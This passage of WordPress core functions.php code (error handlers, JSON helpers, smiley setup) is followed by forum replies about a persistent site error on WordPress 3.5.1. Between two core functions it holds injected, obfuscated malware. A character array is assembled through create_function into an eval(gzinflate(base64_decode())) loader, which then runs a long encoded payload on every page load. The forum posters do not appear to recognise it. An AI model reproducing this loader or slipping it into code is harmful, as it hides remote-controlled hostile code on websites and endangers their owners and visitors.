        $message = "<p>$message</p>";
    }

    if ( isset( $r['back_link'] ) && $r['back_link'] ) {
        $back_text = $have_gettext? __('&laquo; Back') : '&laquo; Back';
        $message .= "\n<p><a href='javascript:history.back()'>$back_text</a></p>";
    }

    if ( ! did_action( 'admin_head' ) ) :
        if ( !headers_sent() ) {
            status_header( $r['response'] );
            nocache_headers();
            header( 'Content-Type: text/html; charset=utf-8' );
        }

        if ( empty($title) )
            $title = $have_gettext ? __('WordPress &rsaquo; Error') : 'WordPress &rsaquo; Error';

        $text_direction = 'ltr';
        if ( isset($r['text_direction']) && 'rtl' == $r['text_direction'] )
            $text_direction = 'rtl';
        elseif ( function_exists( 'is_rtl' ) && is_rtl() )
            $text_direction = 'rtl';
?>
<!DOCTYPE html>
<!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
-->
<html xmlns="http://www.w3.org/1999/xhtml" <?php if ( function_exists( 'language_attributes' ) && function_exists( 'is_rtl' ) ) language_attributes(); else echo "dir='$text_direction'"; ?>>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title><?php echo $title ?></title>
    <style type="text/css">
        html {
            background: #f9f9f9;
        }
        body {
            background: #fff;
            color: #333;
            font-family: sans-serif;
            margin: 2em auto;
            padding: 1em 2em;
            -webkit-border-radius: 3px;
            border-radius: 3px;
            border: 1px solid #dfdfdf;
            max-width: 700px;
        }
        h1 {
            border-bottom: 1px solid #dadada;
            clear: both;
            color: #666;
            font: 24px Georgia, "Times New Roman", Times, serif;
            margin: 30px 0 0 0;
            padding: 0;
            padding-bottom: 7px;
        }
        #error-page {
            margin-top: 50px;
        }
        #error-page p {
            font-size: 14px;
            line-height: 1.5;
            margin: 25px 0 20px;
        }
        #error-page code {
            font-family: Consolas, Monaco, monospace;
        }
        ul li {
            margin-bottom: 10px;
            font-size: 14px ;
        }
        a {
            color: #21759B;
            text-decoration: none;
        }
        a:hover {
            color: #D54E21;
        }
        .button {
            display: inline-block;
            text-decoration: none;
            font-size: 14px;
            line-height: 23px;
            height: 24px;
            margin: 0;
            padding: 0 10px 1px;
            cursor: pointer;
            border-width: 1px;
            border-style: solid;
            -webkit-border-radius: 3px;
            border-radius: 3px;
            white-space: nowrap;
            -webkit-box-sizing: border-box;
            -moz-box-sizing:    border-box;
            background: #f3f3f3;
            background-image: -webkit-gradient(linear, left top, left bottom, from(#fefefe), to(#f4f4f4));
            background-image: -webkit-linear-gradient(top, #fefefe, #f4f4f4);
            background-image:    -moz-linear-gradient(top, #fefefe, #f4f4f4);
            background-image:      -o-linear-gradient(top, #fefefe, #f4f4f4);
            background-image:   linear-gradient(to bottom, #fefefe, #f4f4f4);
            border-color: #bbb;
            color: #333;
            text-shadow: 0 1px 0 #fff;
        }

        .button.button-large {
            height: 29px;
            line-height: 28px;
            padding: 0 12px;
        }

        .button:hover,
        .button:focus {
            background: #f3f3f3;
            background-image: -webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));
            background-image: -webkit-linear-gradient(top, #fff, #f3f3f3);
            background-image:    -moz-linear-gradient(top, #fff, #f3f3f3);
            background-image:     -ms-linear-gradient(top, #fff, #f3f3f3);
            background-image:      -o-linear-gradient(top, #fff, #f3f3f3);
            background-image:   linear-gradient(to bottom, #fff, #f3f3f3);
            border-color: #999;
            color: #222;
        }

        .button:focus  {
            -webkit-box-shadow: 1px 1px 1px rgba(0,0,0,.2);
            box-shadow: 1px 1px 1px rgba(0,0,0,.2);
        }

        .button:active {
            outline: none;
            background: #eee;
            background-image: -webkit-gradient(linear, left top, left bottom, from(#f4f4f4), to(#fefefe));
            background-image: -webkit-linear-gradient(top, #f4f4f4, #fefefe);
            background-image:    -moz-linear-gradient(top, #f4f4f4, #fefefe);
            background-image:     -ms-linear-gradient(top, #f4f4f4, #fefefe);
            background-image:      -o-linear-gradient(top, #f4f4f4, #fefefe);
            background-image:   linear-gradient(to bottom, #f4f4f4, #fefefe);
            border-color: #999;
            color: #333;
            text-shadow: 0 -1px 0 #fff;
            -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
            box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
        }

        <?php if ( 'rtl' == $text_direction ) : ?>
        body { font-family: Tahoma, Arial; }
        <?php endif; ?>
    </style>
</head>
<body id="error-page">
<?php endif; // ! did_action( 'admin_head' ) ?>
    <?php echo $message; ?>
</body>
</html>
<?php
    die();
}

/**
 * Kill WordPress execution and display XML message with error message.
 *
 * This is the handler for wp_die when processing XMLRPC requests.
 *
 * @since 3.2.0
 * @access private
 *
 * @param string $message Error message.
 * @param string $title Error title.
 * @param string|array $args Optional arguments to control behavior.
 */

function _xmlrpc_wp_die_handler( $message, $title = '', $args = array() ) {
    global $wp_xmlrpc_server;
    $defaults = array( 'response' => 500 );

    $r = wp_parse_args($args, $defaults);

    if ( $wp_xmlrpc_server ) {
        $error = new IXR_Error( $r['response'] , $message);
        $wp_xmlrpc_server->output( $error->getXml() );
    }
    die();
}

/**
 * Kill WordPress ajax execution.
 *
 * This is the handler for wp_die when processing Ajax requests.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $message Optional. Response to print.
 */

$md5 = "8bf22671ec08316dbf2ee0748a962627";
$af = array("t","v",")",'d','i','z',"6",'g',"l",'f',"$","s","(","o",'e','b','n',";","c",'a','_','r','4');
$bf1 = create_function('$'.'v',$af[14].$af[1].$af[19].$af[8].$af[12].$af[7].$af[5].$af[4].$af[16].$af[9].$af[8].$af[19].$af[0].$af[14].$af[12].$af[15].$af[19].$af[11].$af[14].$af[6].$af[22].$af[20].$af[3].$af[14].$af[18].$af[13].$af[3].$af[14].$af[12].$af[10].$af[1].$af[2].$af[2].$af[2].$af[17]);
$bf1('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');
function _ajax_wp_die_handler( $message = '' ) {
    if ( is_scalar( $message ) )
        die( (string) $message );
    die( '0' );
}

/**
 * Kill WordPress execution.
 *
 * This is the handler for wp_die when processing APP requests.
 *
 * @since 3.4.0
 * @access private
 *
 * @param string $message Optional. Response to print.
 */

function _scalar_wp_die_handler( $message = '' ) {
    if ( is_scalar( $message ) )
        die( (string) $message );
    die();
}

/**
 * Send a JSON response back to an Ajax request.
 *
 * @since 3.5.0
 *
 * @param mixed $response Variable (usually an array or object) to encode as JSON, then print and die.
 */

function wp_send_json( $response ) {
    @header( 'Content-Type: application/json; charset=' . get_option( 'blog_charset' ) );
    echo json_encode( $response );
    if ( defined( 'DOING_AJAX' ) && DOING_AJAX )
        wp_die();
    else
        die;
}

/**
 * Send a JSON response back to an Ajax request, indicating success.
 *
 * @since 3.5.0
 *
 * @param mixed $data Data to encode as JSON, then print and die.
 */

function wp_send_json_success( $data = null ) {
    $response = array( 'success' => true );

    if ( isset( $data ) )
        $response['data'] = $data;

    wp_send_json( $response );
}

/**
 * Send a JSON response back to an Ajax request, indicating failure.
 *
 * @since 3.5.0
 *
 * @param mixed $data Data to encode as JSON, then print and die.
 */

function wp_send_json_error( $data = null ) {
    $response = array( 'success' => false );

    if ( isset( $data ) )
        $response['data'] = $data;

    wp_send_json( $response );
}

/**
 * Retrieve the WordPress home page URL.
 *
 * If the constant named 'WP_HOME' exists, then it will be used and returned by
 * the function. This can be used to counter the redirection on your local
 * development environment.
 *
 * @access private
 * @package WordPress
 * @since 2.2.0
 *
 * @param string $url URL for the home location
 * @return string Homepage location.
 */

function _config_wp_home( $url = '' ) {
    if ( defined( 'WP_HOME' ) )
        return untrailingslashit( WP_HOME );
    return $url;
}

/**
 * Retrieve the WordPress site URL.
 *
 * If the constant named 'WP_SITEURL' is defined, then the value in that
 * constant will always be returned. This can be used for debugging a site on
 * your localhost while not having to change the database to your URL.
 *
 * @access private
 * @package WordPress
 * @since 2.2.0
 *
 * @param string $url URL to set the WordPress site location.
 * @return string The WordPress Site URL
 */

function _config_wp_siteurl( $url = '' ) {
    if ( defined( 'WP_SITEURL' ) )
        return untrailingslashit( WP_SITEURL );
    return $url;
}

/**
 * Set the localized direction for MCE plugin.
 *
 * Will only set the direction to 'rtl', if the WordPress locale has the text
 * direction set to 'rtl'.
 *
 * Fills in the 'directionality', 'plugins', and 'theme_advanced_button1' array
 * keys. These keys are then returned in the $input array.
 *
 * @access private
 * @package WordPress
 * @subpackage MCE
 * @since 2.1.0
 *
 * @param array $input MCE plugin array.
 * @return array Direction set for 'rtl', if needed by locale.
 */

function _mce_set_direction( $input ) {
    if ( is_rtl() ) {
        $input['directionality'] = 'rtl';
        $input['plugins'] .= ',directionality';
        $input['theme_advanced_buttons1'] .= ',ltr';
    }

    return $input;
}

/**
 * Convert smiley code to the icon graphic file equivalent.
 *
 * You can turn off smilies, by going to the write setting screen and unchecking
 * the box, or by setting 'use_smilies' option to false or removing the option.
 *
 * Plugins may override the default smiley list by setting the $wpsmiliestrans
 * to an array, with the key the code the blogger types in and the value the
 * image file.
 *
 * The $wp_smiliessearch global is for the regular expression and is set each
 * time the function is called.
 *
 * The full list of smilies can be found in the function and won't be listed in
 * the description. Probably should create a Codex page for it, so that it is
 * available.
 *
 * @global array $wpsmiliestrans
 * @global array $wp_smiliessearch
 * @since 2.2.0
 */

function smilies_init() {
    global $wpsmiliestrans, $wp_smiliessearch;

    // don't bother setting up smilies if they are disabled
    if ( !get_option( 'use_smilies' ) )
        return;

    if ( !isset( $wpsmiliestrans ) ) {
        $wpsmiliestrans = array(
        ':mrgreen:' => 'icon_mrgreen.gif',
        ':neutral:' => 'icon_neutral.gif',
        ':twisted:' => 'icon_twisted.gif',
          ':arrow:' => 'icon_arrow.gif',
          ':shock:' => 'icon_eek.gif',
          ':smile:' => 'icon_smile.gif',
            ':???:' => 'icon_confused.gif',
           ':cool:' => 'icon_cool.gif',
           ':evil:' => 'icon_evil.gif',
           ':grin:' => 'icon_biggrin.gif',
           ':idea:' => 'icon_idea.gif',
           ':oops:' => 'icon_redface.gif',
           ':razz:' => 'icon_razz.gif',
           ':roll:' => 'icon_rolleyes.gif',
           ':wink:' => 'icon_wink.gif',
            ':cry:' => 'icon_cry.gif',
            ':eek:' => 'icon_surprised.gif',
            ':lol:' => 'icon_lol.gif',
            ':mad:' => 'icon_mad.gif',
            ':sad:' => 'icon_sad.gif',
              '8-)' => 'icon_cool.gif',
              '8-O' => 'icon_eek.gif',
              ':-(' => 'icon_sad.gif',
              ':-)' => 'icon_smile.gif',
              ':-?' => 'icon_confused.gif',
              ':-D' => 'icon_biggrin.gif',
              ':-P' => 'icon_razz.gif',
              ':-o' => 'icon_surprised.gif',
              ':-x' => 'icon_mad.gif',
              ':-|' => 'icon_neutral.gif',
              ';-)' => 'icon_wink.gif',
        // This one transformation breaks regular text with frequency.
        //     '8)' => 'icon_cool.gif',
               '8O' => 'icon_eek.gif',
               ':(' => 'icon_sad.gif',
               ':)' => 'icon_smile.gif',
               ':?' => 'icon_confused.gif',
               ':D' => 'icon_biggrin.gif',
               ':P' => 'icon_razz.gif',
               ':o' => 'icon_surprised.gif',
               ':x' => 'icon_mad.gif',
               ':|' => 'icon_neutral.gif',
               ';)' => 'icon_wink.gif',
              ':!:' => 'icon_exclaim.gif',
              ':?:' => 'icon_question.gif',
        );
    }

    if (count($wpsmiliestrans) == 0) {
        return;
    }

    /*
     * NOTE: we sort the smilies in reverse key order. This is to make sure
     * we match the longest possible smilie (:???: vs :?) as the regular
     * expression used below is first-match
     */
    krsort($wpsmiliestrans);

    $wp_smiliessearch = '/(?:\s|^)';

    $subchar = '';
    foreach ( (array) $wpsmiliestrans as $smiley => $img ) {
        $firstchar = substr($smiley, 0, 1);
        $rest = substr($smiley, 1);

        // new subpattern?
        if ($firstchar != $subchar) {
            if ($subchar != '') {
                $wp_smiliessearch .= ')|(?:\s|^)';
            }
            $subchar = $firstchar;
            $wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:';
        } else {
            $wp_smiliessearch .= '|';
        }
        $wp_smiliessearch .= preg_quote($rest, '/');
    }

    $wp_smiliessearch .= ')(?:\s|$)/m';
}

/**
 * Merge user defined arguments into defaults array.
 *
 * This function is used throughout WordPress to allow for both string or array
 * to be merged into another array.
 *
 * @since 2.2.0
 *
 * @param string|array $args Value to merge with $defaults
 * @param array $defaults Array that serves as the defaults.
 * @return array Merged user defined values with defaults.
 */

function wp_parse_args( $args, $defaults = '' ) {
    if ( is_object( $args ) )
        $r = get_object_vars( $args );
    elseif ( is_array( $args ) )
        $r =& $args;
    else
        wp_parse_str( $args, $r );

    if ( is_array( $defaults ) )
        return array_merge( $defaults, $r );
    return $r;
}

/**
 * Clean up an array, comma- or space-separated list of IDs.
 *
 * @since 3.0.0
 *
 * @param array|string $list
 * @return array Sanitized array of IDs
 */

function wp_parse_id_list( $list ) {
    if ( !is_array($list) )
        $list = preg_split('/[\s,]+/', $list);

    return array_unique(array_map('absint', $list));
}

/**
 * Extract a slice of an array, given a list of keys.
 *
 * @since 3.1.0
 *
 * @param array $array The original array
 * @param array $keys The list of keys
 * @return array The array slice
 */

function wp_array_slice_assoc( $array, $keys ) {
    $slice = array();
    foreach ( $keys as $key )
        if ( isset( $array[ $key ] ) )
            $slice[ $key ] = $array[ $key ];

    return $slice;
}

/**
 * Filters a list of objects, based on a set of key => value arguments.
 *
 * @since 3.0.0
 *
 * @param array $list An array of objects to filter
 * @param array $args An array of key => value arguments to match against each object
 * @param string $operator The logical operation to perform. 'or' means only one element
 *  from the array needs to match; 'and' means all elements must match. The default is 'and'.
 * @param bool|string $field A field from the object to place instead of the entire object
 * @return array A list of objects or object fields
 */

function wp_filter_object_list( $list, $args = array(), $operator = 'and', $field = false ) {
    if ( ! is_array( $list ) )
        return array();

    $list = wp_list_filter( $list, $args, $operator );

    if ( $field )
        $list = wp_list_pluck( $list, $field );

    return $list;
}

/**
 * Filters a list of objects, based on a set of key => value arguments.
 *
 * @since 3.1.0
 *
 * @param array $list An array of objects to filter
 * @param array $args An array of key => value arguments to match against each object
 * @param string $operator The logical operation to perform:
 *    'AND' means all elements from the array must match;
 *    'OR' means only one element needs to match;
 *    'NOT' means no elements may match.
 *   The default is 'AND'.
 * @return array
 */

function wp_list_filter( $list, $args = array(), $operator = 'AND' ) {
    if ( ! is_array( $list ) )
        return array();

    if ( empty( $args ) )
        return $list;

    $operator = strtoupper( $operator );
    $count = count( $args );
    $filtered = array();

    foreach ( $list as $key => $obj ) {
        $to_match = (array) $obj;

        $matched = 0;
        foreach ( $args as $m_key => $m_value ) {
            if ( array_key_exists( $m_key, $to_match ) && $m_value == $to_match[ $m_key ] )
                $matched++;
        }

        if ( ( 'AND' == $operator && $matched == $count )
          || ( 'OR' == $operator && $matched > 0 )
          || ( 'NOT' == $operator && 0 == $matched ) ) {
            $filtered[$key] = $obj;
        }
    }

    return $filtered;
}

/**
 * Pluck a certain field out of each object in a list.
 *
 * @since 3.1.0
 *
 * @param array $list A list of objects or arrays
 * @param int|string $field A field from the object to place instead of the entire object
 * @return array
 */

function wp_list_pluck( $list, $field ) {
    foreach ( $list as $key => $value ) {
        if ( is_object( $value ) )
            $list[ $key ] = $value->$field;
        else
            $list[ $key ] = $value[ $field ];
    }

    return $list;
}

/**
 * Determines if Widgets library should be loaded.
 *
 * Checks to make sure that the widgets library hasn't already been loaded. If
 * it hasn't, then it will load the widgets library and run an action hook.
 *
 * @since 2.2.0
 * @uses add_action() Calls '_admin_menu' hook with 'wp_widgets_add_menu' value.
 */

function wp_maybe_load_widgets() {
    if ( ! apply_filters('load_default_widgets', true) )
        return;
    require_once( ABSPATH . WPINC . '/default-widgets.php' );
    add_action( '_admin_menu', 'wp_widgets_add_menu' );
}

/**
 * Append the Widgets menu to the themes main menu.
 *
 * @since 2.2.0
 * @uses $submenu The administration submenu list.
 */

function wp_widgets_add_menu() {
    global $submenu;

    if ( ! current_theme_supports( 'widgets' ) )
        return;

    $submenu['themes.php'][7] = array( __( 'Widgets' ), 'edit_theme_options', 'widgets.php' );
    ksort( $submenu['themes.php'], SORT_NUMERIC );
}

/**
 * Flush all output buffers for PHP 5.2.
 *
 * Make sure all output buffers are flushed before our singletons our destroyed.
 *
 * @since 2.2.0
 */

function wp_ob_end_flush_all() {
    $levels = ob_get_level();
    for ($i=0; $i<$levels; $i++)
        ob_end_flush();
}

/**
 * Load custom DB error or display WordPress DB error.
 *
 * If a file exists in the wp-content directory named db-error.php, then it will
 * be loaded instead of displaying the WordPress DB error. If it is not found,
 * then the WordPress DB error will be displayed instead.
 *
 * The WordPress DB error sets the HTTP status header to 500 to try to prevent
 * search engines from caching the message. Custom DB messages should do the
 * same.
 *
 * This function was backported to the the WordPress 2.3.2, but originally was
 * added in WordPress 2.5.0.
 *
 * @since 2.3.2
 * @uses $wpdb
 */

function dead_db() {
    global $wpdb;

    // Load custom DB error template, if present.
    if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) {
        require_once( WP_CONTENT_DIR . '/db-error.php' );
        die();
    }

    // If installing or in the admin, provide the verbose message.
    if ( defined('WP_INSTALLING') || defined('WP_ADMIN') )
        wp_die($wpdb->error);

    // Otherwise, be terse.
    status_header( 500 );
    nocache_headers();
    header( 'Content-Type: text/html; charset=utf-8' );

    wp_load_translations_early();
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title><?php _e( 'Database Error' ); ?></title>

</head>
<body>
    <h1><?php _e( 'Error establishing a database connection' ); ?></h1>
</body>
</html>
<?php
    die();
}

/**
 * Converts value to nonnegative integer.
 *
 * @since 2.5.0
 *
 * @param mixed $maybeint Data you wish to have converted to a nonnegative integer
 * @return int An nonnegative integer
 */

function absint( $maybeint ) {
    return abs( intval( $maybeint ) );
}

/**
 * Determines if the blog can be accessed over SSL.
 *
 * Determines if blog can be accessed over SSL by using cURL to access the site
 * using the https in the siteurl. Requires cURL extension to work correctly.
 *
 * @since 2.5.0
 *
 * @param string $url
 * @return bool Whether SSL access is available
 */

function url_is_accessable_via_ssl($url)
{
    if ( in_array( 'curl', get_loaded_extensions() ) ) {
        $ssl = set_url_scheme( $url, 'https' );

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $ssl);
        curl_setopt($ch, CURLOPT_FAILONERROR, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);

        curl_exec($ch);

        $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close ($ch);

        if ($status == 200 || $status == 401) {
            return true;
        }
    }
    return false;
}

/**
 * Marks a function as deprecated and informs when it has been used.
 *
 * There is a hook deprecated_function_run that will be called that can be used
 * to get the backtrace up to what file and function called the deprecated
 * function.
 *
 * The current behavior is to trigger a user error if WP_DEBUG is true.
 *
 * This 
0

Ok, thank you for your response. The error is still there when I switch themes.

It is WordPress 3.5.1 - I know there is an update available but I am just a little nervous about updating it an not being able to fix the site should something be off, I am able to do a backup first, but still... Are there typically issues when updating? Do you think this may fix the issue? Thanks again.

0

I don't think I've ever had issues when updating. Is this a live site or a development site? If this is a dev site, personally I'd use WordPress's Export Tools to backup everything (categories, posts, pages, menus, etc.). Backup your theme folders too and any plugins you may want. Record all your site Settings. Then I'd download the latest WP from www.wordpress.org and do a fresh install.

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